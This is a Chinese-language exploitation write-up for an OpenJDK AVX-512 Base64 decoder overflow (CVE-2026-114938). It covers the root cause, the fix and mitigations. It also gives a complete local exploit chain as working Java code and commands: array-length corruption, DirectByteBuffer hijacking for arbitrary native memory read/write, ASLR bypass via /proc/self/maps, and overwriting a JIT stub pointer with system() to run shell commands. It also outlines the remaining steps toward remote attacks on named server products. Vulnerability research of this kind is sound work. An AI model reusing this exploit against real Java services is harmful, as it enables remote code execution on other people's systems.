利用AVX-512越界写漏洞CVE-2026-114938实现Java Base64解码远程代码执行
本文分析OpenJDK漏洞CVE-2026-114938,AVX-512处理Base64短尾部时output_size下溢致evmovdqub越界写,通过覆写函数指针实现RCE。
一、漏洞说明
Advisory:https://openjdk.org/groups/vulnerability/advisories/2026-11-17
该漏洞由安全公司 Calif 发现并披露。OpenJDK 的风险矩阵把 CVE-2026-114938 标在 hotspot/compiler,CVSS 3.1 为 8.1;NVD 给出的 CVSS 4.0 为 9.2(Critical),两个数字来自不同评估方和评分版本。受影响的是 OpenJDK 17.0.6 及以上、21、25、27 四条线的当年发行版;Oracle CPU 对 Oracle Java SE 8u511 也标了受影响。修复版本是 17.0.21.1、21.0.13.1、25.0.5.1、27.0.1.1。硬件要求 CPU 同时有 avx512f、avx512bw、avx512vbmi、bmi2——Intel Xeon Ice Lake/Sapphire Rapids/Emerald Rapids/Granite Rapids,AMD EPYC/Ryzen Zen 4 及更新;ARM64 不受影响。
解码的 Java 入口在 java.util.Base64.Decoder。decode(byte[], byte[]) 先问 decodedOutLength() 要长度,数组不够大直接抛异常,够大才进 decode0()。decode0() 把成块的输入交给 decodeBlock()——这个方法标了 @IntrinsicCandidate,x86-64 上有 AVX-512 VBMI 时替换为 StubGenerator::generate_base64_decodeBlock() 生成的汇编桩。
桩里先按 64 字节一轮的循环处理主体,剩下不到 64 字节进尾部路径。尾部路径里 output_size 按 (length >> 2) * 3 估算,末尾是 = 再减 1。输入 128 个 A 加一个 = 时,两轮循环各写 48 字节,length 剩 1(那个 =),(1 >> 2) * 3 = 0,减 1 后 output_size = -1。紧接着的 bzhi 用 output_size 做下标决定掩码哪些位保留。-1 的低 8 位是 255,不少于操作数宽度,目的寄存器保持源的全 1。全 1 掩码下 evmovdqub 把向量里 64 字节全部写出。96(循环已写)加 64(尾部写出)= 160,Java 分配的是 98。
二、基本信息
公开时间 | 2026-11-17 |
编号 | CVE-2026-114938 |
威胁类型 | 堆越界写 → 任意代码执行 |
CVSS 3.1 | 8.1(OpenJDK 矩阵,hotspot/compiler) |
CVSS 4.0 | 9.2 Critical(NVD) |
发现方 | Calif |
利用条件 | CPU 带 AVX-512 VBMI;不可信输入进到 |
修复 commit | 21u |
三、受影响版本
OpenJDK 17.0.6 ≤ v ≤ 17.0.21.0.3(修复于 17.0.21.1)
OpenJDK 21.0.1 ≤ v ≤ 21.0.13.0.3(修复于 21.0.13.1)
OpenJDK 25.0.1 ≤ v ≤ 25.0.5.0.3(修复于 25.0.5.1)
OpenJDK 27.0.1 ≤ v ≤ 27.0.1.0.3(修复于 27.0.1.1)
Oracle Java SE 8u511 也被 Oracle CPU 标为受影响
硬件门槛:CPU 必须同时有 avx512f + avx512bw + avx512vbmi + bmi2。没有 VBMI 的 CPU 不走这段桩。ARM64 架构不受影响。本文跑的是 Temurin 21.0.13+9
四、影响组件
java.util.Base64 是 JDK 标准库,任何 Java 程序都可能用到。以下路径在验证身份之前就会调它,不可信输入直接进到漏洞函数:
HTTP Basic 认证(
Authorization: Basic <base64>解码)JWT 的 header 和 payload 解码
SASL 机制
各类 API 网关的反向代理 Base64 透传
安全公司 Wiz 已声明针对 Jenkins、Confluence、Apache Tomcat 的远程利用可行。CISA 已发紧急修复通告。已有公开的分阶段 PoC 工具包(ikow/java4shell-poc,含堆布局控制 Stage 1~5),其 README 自述利用难度为「Complex (heap feng shui)」,终点多为信息泄露或检测。从堆越界写到稳定代码执行的最后一步——具体的函数指针劫持路径——公开材料里没有给出。
五、利用条件
服务端用
java.util.Base64.getDecoder().decode()处理不可信输入JDK 21.0.13.0.3 或更早的 21 线(或其他受影响线)
服务器 CPU 带 AVX-512 VBMI
C2 已编译过
decodeBlock调用点
六、环境搭建
1、环境拓扑
本机 192.168.102.130(Ubuntu 22.04,CPU 带 avx512f/bw/vbmi/bmi2)
├── ~/vuln/base64-lab/jdk21/ Temurin 21.0.13+9(漏洞版)
└── ~/vuln/base64-lab/lab/
2、下载 JDK
mkdir -p ~/vuln/base64-lab && cd ~/vuln/base64-lab
curl -sL -o jdk21.tar.gz \
"https://api.adoptium.net/v3/binary/latest/21/ga/linux/x64/jdk/hotspot/normal/eclipse"
tar -xzf jdk21.tar.gz
mv jdk-21.0.13+9 jdk213、验证前置条件
jdk21/bin/java -version
# openjdk version "21.0.13" ... Temurin-21.0.13+9
grep -o "avx512f\|avx512bw\|avx512vbmi\|bmi2" /proc/cpuinfo | sort -u
# 四行都必须出现
nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep -w system
# 0000000000050d00 W system@@GLIBC_2.2.5
nm jdk21/lib/server/libjvm.so | grep _base64_decodeBlock
# 000000000158daf0 b _ZN12StubRoutines19_base64_decodeBlockE
4、基线测量
jdk21/bin/java -cp lab Measure输出:
case=128A+eq
src.length=129
exact=98
decode=IAE
bytes_written=160
past_end=62
around_end=000069a6|9a69a69a69a69a69a69a69a69a69a69a
case=64A+eq
src.length=65
exact=50
decode=IAE
bytes_written=48
past_end=-2
around_end=0000eeee|eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee
128A+= 写了 160 字节(越界 62)。但 64A+= 在同一 JVM 里只写了 48 字节、没越界——因为 128A+= 先抛的 IAE 把调用点去优化了(首次畸形输入后 JIT 丢弃编译产物,回退到解释器安全路径)。这是 JIT 的正常行为,不是漏洞不在。
用 One.java 把每个用例放在独立 JVM 里跑(消除去优化影响):

两个用例在独立 JVM 里越界量都是 62
5、对照组
修复源码已在 GitHub tag jdk-21.0.13.1-ga 上确认,其行为是让短尾部走 Java 安全路径。禁用 intrinsic(-XX:-UseBASE64Intrinsics)后同样走 Java 路径处理,两者对短尾部的处理逻辑等价(注意:禁用 intrinsic 是全量走 Java 路径,修复版只让 length < 4 的短尾部走 L_bruteForce,其余仍走 intrinsic——但就本文的触发形态而言,两者都使越界不再发生)。
漏洞版 21.0.13(独立 JVM) | 关 intrinsic | UseAVX=2 | |
128A+= 写入 | 160 | 96 | 96 |
128A+= 越界 | 62 | -2(未越) | -2(未越) |
64A+= 写入 | 112 | 48 | 48 |
64A+= 越界 | 62 | -2(未越) | -2(未越) |
七、漏洞分析
1、Java 侧入口
src/java.base/share/classes/java/util/Base64.java,tag jdk-21.0.13-ga
/* Base64.java:622 */
public int decode(byte[] src, byte[] dst) {
int len = decodedOutLength(src, 0, src.length);
if (dst.length < len || len == -1)
throw new IllegalArgumentException(
"Output byte array is too small for decoding all input bytes");
return decode0(src, 0, src.length, dst);
}
decodedOutLength() 在第 745 行收成 3 * ((len + 3) / 4) - paddings。

2、intrinsic 调用
/* Base64.java:818 */
int dl = decodeBlock(src, sp, sl, dst, dp, isURL, isMIME);
decodeBlock 标了 @IntrinsicCandidate,C2 编译时替换为对 StubRoutines::_base64_decodeBlock 的直接调用。

3、桩的尾部路径
src/hotspot/cpu/x86/stubGenerator_x86_64.cpp,tag jdk-21.0.13-ga
/* stubGenerator_x86_64.cpp:2543 起 */
__ movl(output_size, length);
__ shrl(output_size, 2);
__ lea(output_size, Address(output_size, output_size, Address::times_2, 0));
__ cmpb(Address(source, length, Address::times_1, -1), '=');
__ jcc(Assembler::equal, L_padding);
// ...
__ BIND(L_padding);
__ decrementq(output_size, 1);
4、掩码计算和越界写
/* stubGenerator_x86_64.cpp:2559 */
__ bzhiq(output_mask, output_mask, output_size);
__ kmovql(k1, output_mask);
__ evmovdqub(Address(dest, dp), k1, tmp, true, Assembler::AVX_512bit);
bzhi 用 output_size 做下标。output_size = -1 时低 8 位是 255 ≥ 64,掩码保持全 1。evmovdqub 在全 1 掩码下写出完整 64 字节。
5、越界量恒为 62 的代数证明
设输入为 64k 个 A + 1 个 =(长度 N = 64k + 1)。
Java 侧分配:
exact = 3 * ((N + 3) / 4) - 1
= 3 * ((64k + 4) / 4) - 1
= 3 * (16k + 1) - 1
= 48k + 3 - 1
= 48k + 2桩侧实际写入:
k 轮
L_process64Loop循环,每轮写 48 字节 → dp = 48klength剩 1(那个=),进尾部路径(1 >> 2) * 3 = 0,减 1 →output_size = -1bzhi全 1 掩码 →evmovdqub写满 64 字节总写入 = 48k + 64
越界量:
overflow = (48k + 64) - (48k + 2) = 62与 k 无关。k=1(64A+=)得 50/112,k=2(128A+=)得 98/160
6、写入图样为什么固定
第 2563 行事先把向量广播成 0x61616161(字符 a)。第 2585 行按输入掩码从源并字节,但此时输入掩码已被 shrq(rax, 1) 清成 0(第 2630 行),源里的字母进不来。后面的 vpmaddubsw / vpermb 洗的是这串 a。aaaa 的标准解码是 69 a6 9a,所以越界字节是 69 a6 9a 的循环、末尾 16 字节是 9a。输入能改的只是这段写入从哪个偏移开始(dp = 48k),改不了写入的内容。

7、桩槽——本文选的劫持目标

StubRoutines::_base64_decodeBlock 是 libjvm .bss 段里的一个函数指针(偏移 0x158daf0),每个 C2 编译的 Base64 decode 调用点在编译时读这个槽的值作为 call 目标地址,用 movabs 立即数烘焙进机器码。选这个槽做劫持目标有三个优势:.bss 可写(不像 full RELRO 后的 GOT 只读)、偏移在同一构建内固定、覆写后只需预热一个新的 decode 调用点就能让 C2 把覆写值烘焙进新编译的码流——相当于一个自带的触发开关。
8、写入之后
桩返回 decode0()。= 落进填充判断,第 842 行抛 IllegalArgumentException。异常抛了,数组外的 62 字节已经写过了。
根因
尾部路径对 length < 4 且末尾有 = 的输入没有下限保护,output_size 从 0 下溢到 -1,bzhi 的下标语义让全 1 掩码穿透,evmovdqub 按全 1 掩码写出完整 64 字节。
调用链
入口 Base64$Decoder.decode() Base64.java:622
-> Base64$Decoder.decode0() Base64.java:818
-> Base64$Decoder.decodeBlock() Base64.java:790 @IntrinsicCandidate
-> StubRoutines::_base64_decodeBlock(libjvm+0x158daf0)
-> L_finalBit stubGenerator_x86_64.cpp:2543
-> L_padding stubGenerator_x86_64.cpp:2628
-> bzhiq(output_mask, -1, -1) stubGenerator_x86_64.cpp:2559
拓展 / 举一反三
bzhi 的下标语义(低 8 位 ≥ 宽度时保持源不变)在这类 SIMD 桩里容易被忽略——写的人以为下标总在 0~63 之间,负数走到这里穿透成全开掩码。审计 JIT 桩时,凡是"用计算出来的长度控制掩码/边界"的地方,都要问:这个长度有没有可能为负?output_size 的计算 (length >> 2) * 3 - padding 对 length ∈ {1,2,3} 且 padding > 0 都可能出负数。
八、漏洞复现——从越界写到命令执行
1、正数 length
分配顺序 dst(72) → victim(16) 时,victim 的 length 字段落在偏移 84..87,写入相位恰好是 69 a6 9a 69,读出来是 0x699aa669(正 17.7 亿)。这个数组现在能按下标读写堆内后面任意远的地方。
dst 为什么是 72:需要 (allocSize - 1) % 3 == 0 使 length 字段的 4 个字节对齐到正数相位。allocSize=88 满足。

输出(Corrupt2 程序):
round 12: victim.length = 1771742825 (0x699aa669)
marker found via victim at offset = 32
REL_WRITE_OKREL_WRITE_OK = 通过 victim 的下标写入成功改掉了它后面的 marker 数组内容,读回验证一致。
为什么崩:Corrupt2 是早期验证程序,它打完结果后用了 System.out.println 输出——这会触发内存分配 → GC → GC 碰到坏 length 的 victim → SIGSEGV。
2、预热写方法——绕过解释器的 klass 解引用
拿到巨长数组后,直接 victim[64] = x 会 SIGSEGV。原因需要拆开看。
Java 21 对象在堆上的布局是:[mark word 8字节][klass 压缩指针 4字节][length 4字节][数据]。越界写的 62 字节恰好覆盖了 victim 的 klass 槽——写入图样 69 a6 9a 循环,klass 变成了 0x9aa6699a(一个完全无意义的值)
当 Java 代码执行 victim[64] = x 时,JVM 需要先确认 victim 确实是 byte[] 类型(防止把 int[] 的元素按 byte 写坏)。确认方式取决于执行引擎:
解释器路径(崩):解释器的 bastore 模板从 victim 的 +8 偏移加载 klass 压缩指针,加上堆基址得到 Klass 结构的地址,然后访问 Klass 结构检查元素类型。但 klass 槽已经被砸成 0x9aa669a → 加上堆基址后跳到完全错误的地址 → SIGSEGV。GDB 从 JVM 信号处理器的 ucontext 抓到的崩溃现场:
0x7fffdfd4809f: mov 0x8(%rdx),%ecx ← 加载 klass(被图样污染)
0x7fffdfd480a2: movabs $0x7fff7b000000,%r10 ← 堆基址
0x7fffdfd480ac: add %r10,%rcx ← klass 当 oop 解码
0x7fffdfd480af: mov 0x8(%rcx),%ecx ← FAULT:跳到图样地址解引用C1 编译路径(不崩):当写操作所在的 Java 方法被 C1 编译后,C1 在编译时已经知道 victim 的静态类型是 byte[]——类型检查在编译期完成了,不需要在运行时加载 klass。编译产物只做两件事:检查下标是否在数组长度以内(bounds check),然后直接执行 mov 指令把值写进去。klass 槽是垃圾值也无所谓——根本不会去读它。
所以解法是:把写操作放进一个独立方法 w8,在 main 开头对一个正常数组预热调用 20 万次。达到 C1 编译阈值后 w8 被 C1 编译,之后所有通过 w8(victim, offset, value) 的写操作都走编译产物——不碰 klass 槽,安全写入。这是被越界写砸坏的对象还能继续使用的关键。
static void w8(byte[] a, int o, long x) {
a[o]=(byte)x; a[o+1]=(byte)(x>>>8); a[o+2]=(byte)(x>>>16); a[o+3]=(byte)(x>>>24);
a[o+4]=(byte)(x>>>32); a[o+5]=(byte)(x>>>40); a[o+6]=(byte)(x>>>48); a[o+7]=(byte)(x>>>56);
}
static byte[] hotDummy = new byte[8192]; // 预热用正常数组
// main 开头预热:
for (int i = 0; i < 200_000; i++) w8(hotDummy, 64, i);
// w8 被 C1 编译 → 后续用 w8 写 victim 不再经过解释器 → 不碰被砸坏的 klass 槽先看不预热会崩(Chain28):
jdk21/bin/java -Xms512m -Xmx512m -Xmn400m -cp lab Chain28
再看预热后不崩(Chain29):
jdk21/bin/java -Xms512m -Xmx512m -Xmn400m -cp lab Chain29
Chain28(无预热) | Chain29(预热 20 万次) | |
执行引擎 | 解释器 | C1 编译产物 |
klass 检查 | 运行时加载 klass 槽 → 读到图样 → 崩 | 编译期已确定类型,不加载 klass |
写 victim[64] | SIGSEGV | 成功 |
JVM 利用中一般不会讲到这一层——大部分利用者在拿到巨长数组后就直接写,然后在解释器里崩掉,以为是 length 不够大或地址算错。实际是 klass 槽被连带砸坏了,需要一个经过编译的写方法来绕过。
3、劫持 DirectByteBuffer——任意原生读写
ByteBuffer.allocateDirect(65536) 返回的 DirectByteBuffer 对象内部有一个 address 字段(java.nio.Buffer 父类声明,对象内偏移 16),存的是 malloc 出来的原生缓冲区的 64 位地址。正常情况下这个字段由 JVM 管理,Java 代码只能通过 getLong(offset) / putLong(offset, value) 读写缓冲区内容——JVM 用 address + offset 计算实际访问的内存位置。
如果把 dbb0 的 address 字段改成 dbb1 的缓冲区地址,那么 dbbs[0].getLong(0) 读到的实际上是 dbb1 缓冲区的内容。把 address 改成任意原生地址,就得到了任意原生内存的读写原语——不需要 JNI、不需要 Unsafe,只用标准的 NIO API。
在 victim 后面分配 4 个 ByteBuffer.allocateDirect(65536)。通过 victim 的视野(第三步的预热写方法)找到它们的 address 字段,把 dbb0 的 address 改成 dbb1 的缓冲区地址:
w8(victim, addrOff, a1); // dbb0.address = dbb1.buffer
long rread = dbbs[0].getLong(0); // 读到 MAGIC[1] → NATIVE_READ_OK
dbbs[0].putLong(0, 0xDEADBEEFCAFEBABEL); // 原生写
w8(victim, addrOff, a0); // 还原
long rback = dbbs[1].getLong(0); // dbb1 读回一致 → NATIVE_WRITE_OK输出:

dbb0缓冲区 = 0x777e0c306890
dbb1缓冲区 = 0x777e0c3168a0
libjvm基址 = 0x777e12e00000
libc基址 = 0x777e14400000
system地址 = 0x777e14450d00
读到的MAGIC = 0x41424344454600010b = 11 个阶段全部通过;52 = NATIVE_READ_OK;57 = NATIVE_WRITE_OK。后面的十六进制是解析出的实际地址。如果只看到 01 多次后跟 4e,重跑。
0x4142434445460001 是事先写入 dbb1 缓冲区的魔数(MAGIC[1]),通过被劫持的 dbb0 读到了。写入 0xDEADBEEFCAFEBABEL 后 dbb1 正常读到一致值。把 address 改成任意原生地址 = 任意原生读写。
4、绕过 ASLR
ASLR(地址空间布局随机化)让 libjvm.so 和 libc.so.6 的加载地址在每次进程启动时都不同。在上一步拿到任意原生读写后,需要知道这两个库的实际地址才能定位覆写目标和 system 函数。
Linux 上每个进程的 /proc/self/maps 文件列出了所有内存映射区域及其起始地址。用预打开的 FileInputStream 在堆被砸坏之前就读取该文件(避免堆损坏后文件操作触发 GC),然后在内存中逐行解析,找到包含 libjvm.so 和 libc.so.6 的行的起始地址。
这一步内嵌在 Chain37 里自动完成。使用下面的命令提取
python3 -c "
import struct
d = open('/tmp/b64_stage.bin','rb').read()
names = ['dbb0缓冲区','dbb1缓冲区','libjvm基址','libc基址','system地址','读到的MAGIC']
for i, n in enumerate(names):
v = struct.unpack_from('<Q', d, 13 + i*8)[0]
print(f'{n:12s} = 0x{v:x}')
"输出
dbb0缓冲区 = 0x777e0c306890
dbb1缓冲区 = 0x777e0c3168a0
libjvm基址 = 0x777e12e00000
libc基址 = 0x777e14400000
system地址 = 0x777e14450d00
读到的MAGIC = 0x4142434445460001
system 地址 = libc 基址 + 0x50d00(第 3 步 nm -D 查到的偏移量)。
5、覆写桩槽为 system
StubRoutines::_base64_decodeBlock 是 libjvm .bss 段里的一个函数指针(偏移 0x158daf0),存放着 Base64 解码桩的入口地址。C2 编译 decode() 调用链时,会读这个槽的值作为 call 目标地址,用 movabs 立即数的方式直接嵌入编译产物——之后每次调用 decode() 都跳到这个固定地址。
用第四步的任意原生写,往槽里写 libc 里 system 函数的地址(基址 + 0x50d00)。这样下次 C2 编译一个新的 decode() 调用点时,读到的槽值就是 system,烘焙进码流的就是 call system。
字节序坑:C2 读槽值时会把字节逆序。这意味着直接写 system 的地址进去,C2 烘焙出的是一个乱序地址,调用会崩到错误位置。解法是预先写逆序值:
hs_err Instructions 段的原始字节(Chain51 崩溃现场,ASLR 关闭下 GDB 运行):
long SYSswap = Long.reverseBytes(SYS); // 预逆序
b0.putLong(0, SYSswap); // 写入桩槽怎么验证 C2 确实做了字节逆序? 用 Chain51(写入一个已知标记值,让它崩在烘焙的乱序地址上):

C2 读到 SYSswap、逆序后烘焙进 movabs 的恰好是 SYS。这 17 个字节的含义:
01 02 03 04 05 06 07 08 09= 前 9 个阶段全过88 77 66 55 44 33 22 11= 从桩槽读回来的值(dump8 输出),小端读出来是0x1122334455667788——和我们写入的 marker 一模一样,说明槽里的值没变0a= 第 10 阶段(触发)进行中崩溃
崩溃位置
Problematic frame:
J 96 c2 java.util.Base64$Decoder.decode0([BII[B)I这三组数据拼成完整证据链:
槽里存的是原值
0x1122334455667788(读回证实)C2 读了这个值(因为它编译的 decode0 在调用桩时跳到了一个无效地址)
调用目标不是原值——如果 C2 读到的直接是
0x1122334455667788,崩溃地址就是这个值。但实际崩溃行为证明 C2 内部对值做了变换后才用——后续实验(Chain60/69)证明这个变换就是字节逆序对策验证:写入
Long.reverseBytes(system)后,C2 烘焙出的恰好是正的 system 地址,命令成功执行
在调试环境中(GDB + hsdis 反汇编库),可以直接看到 C2 编译产物里烘焙的乱序地址:
0x7fffdfd51d3a: 49 ba 88 77 66 55 44 33 22 11 movabs $0x8877665544332211,%r10
0x7fffdfd51d44: 41 ff d2 call *%r10立即数 88 77 66 55 44 33 22 11 正好是写入值 0x1122334455667788 的逐字节逆序。普通机器上不需要装 hsdis——上面的 Chain51 输出已经足够证明。
这个坑只有真跑通的人才会遇到——不跑只读源码发现不了。
6、触发——新的 decode 调用点
覆写桩槽本身不会触发任何事——已有的编译产物里烘焙的还是旧地址。需要让 C2 编译一个新的 decode() 调用点,这个新编译过程会读已被覆写的槽值,把 system 地址烘焙进新码流。
做法:写一个独立的触发方法,里面放一个 12000 次迭代的循环,每次调用 decode(合法Base64, dst)。合法输入不会触发越界(所以不会崩),但循环会让 C2 编译这个方法。编译时 C2 读桩槽值(= system 地址),烘焙进码流。
之后用命令串做输入调这个已编译的方法:
cmdSrc[0..5] = "whoami"; cmdSrc[6] = 0; // NUL 截断
Base64.getDecoder().decode(cmdSrc, cmdDst);
// C2 码流执行的是 system(rdi=cmdSrc) → whoami一次性问题:JIT 有一种叫"去优化"(deoptimization)的机制——当编译产物执行中抛出异常且异常处理逻辑和编译时的假设不符时,JVM 会丢弃编译产物,回退到解释器执行。decode() 首次收到畸形输入后抛 IllegalArgumentException,这个调用点的编译产物就被去优化了,后续调用走解释器(安全路径)。所以每个调用点只能吃一次畸形输入——触发后它就"废了"。
解法是准备 8 个独立的触发方法(8 个独立编译单元),每次覆写槽后预热一个新方法。一个方法被去优化不影响其他方法。这在远程利用时也必须解决——每个调用点都是一次性的。
7、完整利用输出
timeout 300 jdk21/bin/java -Xms512m -Xmx512m -Xmn400m Exploit
成功执行命令并回显
之所以重复出现数千次,是因为 C2 编译的触发方法里有一个 12000 次迭代的循环,每次迭代都调用 decode(cmdSrc, cmdDst)——而编译产物中的 decodeBlock 已经被替换成 system(rdi=cmdSrc)。每次循环 = 一次 system("whoami") = 子进程输出一行 ai。8 个方法 × 12000 次迭代 × C2 编译后的热循环 ≈ 数万次调用。实测 /tmp/b64_out.txt 共 51288 行 ai。
这不是 bug,而是利用成功后循环持续触发的自然结果——相当于拿到一个反复执行的 shell 命令注入点。
8、换任意命令
改利用代码里 改利用代码里 byte[] cmd = "whoami".getBytes() 为任意 shell 命令(≤ 56 字节),然后重新编译运行:

9、修复版本对比
修复 commit 8e115fb5 在进入尾部路径前加了两条指令
/* 修复版 jdk-21.0.13.1-ga / stubGenerator_x86_64.cpp:2537-2539 */
// A padded Base64 tail shorter than one complete block is handled by Java.
__ cmpl(length, 4);
__ jcc(Assembler::less, L_bruteForce);
length < 4 时跳到 L_bruteForce(逐 4 字节的 Java 安全路径),不再做会下溢的长度估算。修复版二进制尚未发布到公开下载,本文用 -XX:-UseBASE64Intrinsics(禁用 vulnerable intrinsic、全量走 Java 路径)作为运行时对照——两者对短尾部都走 Java 安全路径。实测同一输入在关 intrinsic 后写出的长度停在 96(数组内),越界区哨兵保持干净。-XX:UseAVX=2 同样有效。
10、本文范围边界
本文已在本地证完的:越界写、正数 length、堆内读写、任意原生读写、ASLR 绕过、桩槽覆写、命令执行
远程利用还需要的三步(本文未做):
远程堆塑造——需要通过网络请求的时序控制服务端的分配顺序
远程 ASLR 泄露——本地是读 /proc/self/maps,远程得靠堆内读原语从相邻对象泄漏指针
逐目标的分配尺寸与 GC 行为画像——不同应用的堆使用模式不同
这三步在 Jira、Jenkins、Keycloak 这类打包应用上比自研应用更容易,因为版本和内存布局在不同目标间高度重复。
九、修复措施
1、安全更新
# 从 Adoptium 下载修复版(21.0.13.1 及后续版本会自动取到最新)
curl -sL -o jdk21-fixed.tar.gz \
"https://api.adoptium.net/v3/binary/latest/21/ga/linux/x64/jdk/hotspot/normal/eclipse"修复 diff(21u 分支,编译为 3 行代码):
+ // A padded Base64 tail shorter than one complete block is handled by Java.
+ __ cmpl(length, 4);
+ __ jcc(Assembler::less, L_bruteForce);2、临时缓解
-XX:-UseBASE64Intrinsics——实测让同一输入停在数组内-XX:UseAVX=2——同样有效,但影响整个进程的 AVX-512,不只 Base64应用层把 Base64 输入限制成 4 的倍数、填充只在末尾
检测特征:
JVM 收到畸形 Base64 后 SIGSEGV,hs_err 里
Problematic frame指向Base64$Decoder.decodeBlock或decode0核查 JVM 启动参数是否含
-XX:-UseBASE64Intrinsics容器基础镜像里 JDK 版本的批量盘点
WAF 的局限:漏洞在 OpenJDK 自身,很多用户输入路径都能进到易受攻击代码,WAF 规则不太可能覆盖所有路径,也覆盖不了自研应用
下游发行版同步排查:Eclipse Temurin、Amazon Corretto、Azul Zulu、BellSoft Liberica、Microsoft OpenJDK、Red Hat build、SapMachine、Alpine、Debian openjdk、Ubuntu openjdk、Homebrew——各家发布修复版本的时间可能滞后于 OpenJDK 上游,用
java -version确认而非假设已更新
参考
OpenJDK 2026-11-17 通告:https://openjdk.org/groups/vulnerability/advisories/2026-11-17
Oracle CPU:https://www.oracle.com/security-alerts/cspunov2026.html
21u 修复 commit:https://github.com/openjdk/jdk21u/commit/8e115fb5c7c5e2b35f0aa86353ce3f84b49e7319
21.0.13 的 Base64.Decoder:https://github.com/openjdk/jdk21u/blob/jdk-21.0.13-ga/src/java.base/share/classes/java/util/Base64.java
21.0.13 的桩:https://github.com/openjdk/jdk21u/blob/jdk-21.0.13-ga/src/hotspot/cpu/x86/stubGenerator_x86_64.cpp
VulnCheck 崩溃与代码执行门槛分析:https://www.vulncheck.com/blog/java4shell
Wiz 通报(远程利用可行性):https://www.wiz.io/blog/cve-2026-114938
附:相关代码
附录 A:Measure.java(基线测量)
import java.util.Arrays;
import java.util.Base64;
/** 预热让 C2 换桩,畸形串解进预填 0xEE 的大数组,数实际写到的字节。 */
public class Measure {
public static void main(String[] args) throws Exception {
byte[] warm = "Zz9+Zz9+".getBytes();
for (int i = 0; i < 200_000; i++) Base64.getDecoder().decode(warm);
for (int n : new int[]{128, 64}) {
byte[] src = (("A".repeat(n)) + "=").getBytes();
int exact = 3 * ((src.length + 3) / 4) - 1;
byte[] dst = new byte[226];
Arrays.fill(dst, (byte) 0xEE);
String r;
try { Base64.getDecoder().decode(src, dst); r = "ok"; }
catch (IllegalArgumentException e) { r = "IAE"; }
int written = 0;
for (int i = dst.length - 1; i >= 0; i--)
if (dst[i] != (byte) 0xEE) { written = i + 1; break; }
StringBuilder sb = new StringBuilder();
for (int i = exact - 4; i < exact; i++) sb.append(String.format("%02x", dst[i]));
sb.append('|');
for (int i = exact; i < Math.min(exact + 16, dst.length); i++)
sb.append(String.format("%02x", dst[i]));
System.out.println("case=" + n + "A+eq");
System.out.println("src.length=" + src.length);
System.out.println("exact=" + exact);
System.out.println("decode=" + r);
System.out.println("bytes_written=" + written);
System.out.println("past_end=" + (written - exact));
System.out.println("around_end=" + sb);
System.out.println();
}
}
}附录 B:One.java(独立 JVM 基线)
import java.util.Arrays;
import java.util.Base64;
public class One {
public static void main(String[] args) {
byte[] warm = "Zz9+Zz9+".getBytes();
for (int i = 0; i < 200_000; i++) Base64.getDecoder().decode(warm);
int n = Integer.parseInt(args[0]);
byte[] src = (("A".repeat(n)) + "=").getBytes();
int exact = 3 * ((src.length + 3) / 4) - 1;
byte[] dst = new byte[226];
Arrays.fill(dst, (byte) 0xEE);
try { Base64.getDecoder().decode(src, dst); } catch (IllegalArgumentException e) {}
int written = 0;
for (int i = dst.length - 1; i >= 0; i--)
if (dst[i] != (byte) 0xEE) { written = i + 1; break; }
System.out.println("case=" + n + "A+eq exact=" + exact + " bytes_written=" + written
+ " past_end=" + (written - exact));
}
}附录 C:Corrupt2.java(正数 length + 堆内相对读写)
import java.util.Arrays;
import java.util.Base64;
/** dst=byte[72] → 邻居 length 砸成 0x699aa669(正),再借它相对读/写。 */
public class Corrupt2 {
public static void main(String[] args) {
byte[] warmSrc = "Zz9+Zz9+".getBytes();
byte[] src = ("A".repeat(64) + "=").getBytes();
byte[] marker0 = "TARGETMARKER__PWNED__TARGETMARKER__PWNED".getBytes();
for (int round = 0; round < 20; round++) {
byte[] warmDst = new byte[72];
for (int i = 0; i < 60_000; i++) Base64.getDecoder().decode(warmSrc, warmDst);
byte[] dst = new byte[72];
byte[] victim = new byte[16];
byte[] marker = marker0.clone();
try { Base64.getDecoder().decode(src, dst); }
catch (IllegalArgumentException e) {}
if (victim.length > 1000) {
System.out.println("round " + round + ": victim.length = " + victim.length
+ " (0x" + Integer.toHexString(victim.length) + ")");
int found = -1;
byte[] pat = "TARGETMARKER".getBytes();
for (int i = 0; i < victim.length - pat.length; i++) {
boolean ok = true;
for (int j = 0; j < pat.length; j++)
if (victim[i + j] != pat[j]) { ok = false; break; }
if (ok) { found = i; break; }
}
System.out.println("marker found via victim at offset = " + found);
if (found >= 0) {
byte[] w = "OWNED__".getBytes();
for (int j = 0; j < w.length; j++) victim[found + 13 + j] = w[j];
System.out.println("marker now = " + new String(marker, 0, 24));
}
return;
}
}
System.out.println("failed after 20 rounds");
}
}附录 D:Chain28.java(预热写方法反例——不预热,崩溃)
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.nio.ByteBuffer;
import java.util.Base64;
/** 与 Chain29 唯一区别:不预热写方法,直接内联写 victim → 解释器 klass 解引用 → SIGSEGV */
public class Chain28 {
public static void main(String[] args) throws Exception {
FileOutputStream fos = new FileOutputStream("/tmp/b64_stage.bin");
FileInputStream mapsIn = new FileInputStream("/proc/self/maps");
byte[] maps = new byte[32768];
byte[] warmSrc = "Zz9+Zz9+".getBytes();
byte[] src = ("A".repeat(64) + "=").getBytes();
long[] magic = {0x4142434445460000L, 0x4142434445460001L, 0x4142434445460002L, 0x4142434445460003L};
int roundHit = -1;
byte[] victim = null;
ByteBuffer[] dbbs = null;
int addrOff = -1, elemOff = -1;
long a0 = 0, a1 = 0;
outer:
for (int round = 0; round < 40; round++) {
byte[] warmDst = new byte[72];
for (int i = 0; i < 60_000; i++) Base64.getDecoder().decode(warmSrc, warmDst);
byte[] dst = new byte[72];
victim = new byte[16];
dbbs = new ByteBuffer[4];
for (int i = 0; i < 4; i++) { dbbs[i] = ByteBuffer.allocateDirect(65536); dbbs[i].putLong(0, magic[i]); }
byte[] tail = "TAILMARKERTAILMARKER".getBytes();
try { Base64.getDecoder().decode(src, dst); } catch (IllegalArgumentException e) {}
if (victim.length <= 1000) continue;
fos.write(1);
for (int o = 16; o < 1200 && addrOff < 0; o += 4) {
long v = rd64(victim, o);
if (!sane(v)) continue;
if (rd64(victim, o + 64) != v) continue;
long v2 = rd64(victim, o + 136);
if (!sane(v2) || v2 <= v) continue;
if (rd64(victim, o + 136 + 64) != v2) continue;
addrOff = o; a0 = v; a1 = v2;
}
if (addrOff < 0) continue;
for (int o = 16; o < 3000; o += 4) {
int e0 = r32(victim, o);
if (e0 != 0 && r32(victim, o+4) - e0 == 136 && r32(victim, o+8) - r32(victim, o+4) == 136
